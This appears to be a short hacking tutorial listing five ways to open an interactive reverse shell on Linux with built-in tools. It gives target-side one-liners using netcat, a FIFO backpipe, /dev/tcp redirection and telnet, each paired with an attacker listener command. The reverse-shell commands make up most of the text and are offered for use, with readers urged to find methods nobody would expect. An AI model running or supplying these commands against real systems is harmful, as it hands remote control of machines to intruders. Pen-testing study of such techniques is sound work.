Preface
This will be a short article which will demonstrates how to spawn an interactive reverse shell using built-in tools on any Linux distribution.
Also, it shows what mindset and what kind of creativity might be needed when being a hacker or pen tester.
But why?
There are many distributions of Linux and they all do things a little different in regard to built-in tools and/or security mechanisms.
The following examples should be available no matter which OS is in front of you.
Test scenario
- being able to run a simple command, or
- cause a user to run a simple command on the target system
Examples
In the following examples there will always be a notion like A and T, which
will resemble Attacker and Target to show where to run the commands.
1. netcat
nc <attacker_ip> <port> -e /bin/bash # T
nc -n -vv -l -p <port> # A
In current versions of netcat the -e flag probably won’t be available
anymore, but if it is this makes life really easy.
2. netcat with -e disabled
One could just move on to other tools or means now since the -e flag
is not available anymore, but hey let’s make things look really complicated
and hacker-like 
mknod backpipe p; nc <attacker_ip> <port> 0<backpipe | /bin/bash 1>backpipe # T
nc -n -vv -l -p <port> # A
What does this do?
We create a FIFO file system object and use it as a backpipe to relay standard output from the commands piped from netcat to /bin/bash back to nc.
3. netcat without netcat
/bin/bash -i > /dev/tcp/<attacker_ip>/<port> 0<&1 2>&1 # T
nc -n -vv -l -p <port> # A
What does this do?
It takes the /dev/tcp socket programming feature and uses it to redirect /bin/bash to a remote system.
4. netcat without netcat or /dev/tcp
mknod backpipe p; telnet <attacker_ip> <port> 0<backpipe | /bin/bash 1>backpipe # T
nc -n -vv -l -p <port> # A
What does this do?
This should be clear by now. We just use telnet instead of netcat with the examples shown in 2nd example above.
5. telnet to telnet
telnet <attacker_ip> <1st_port> | /bin/bash | telnet <attacker_ip> <2nd_port> # T
nc -n -vv -l -p <1st_port> # A1
nc -n -vv -l -p <2nd_port> # A2
What does this do?
This is kinda weird, but it works 
.
It uses two telnet sessions connected to remote listeners to pipe input from one telnet session to /bin/bash and pipe the output to the second telnet session.
6. What’s next?
This is up to you guys!
What creative ways of spawning a reverse shell do you know or can find?
Let me know and let’s complete this little list.
Peroration
I hope this little article was somewhat fun to read and showed you one thing.
Be creative. If something is not available on the system you work on, find another way. A way nobody would expect you to find or use.
Peace out
.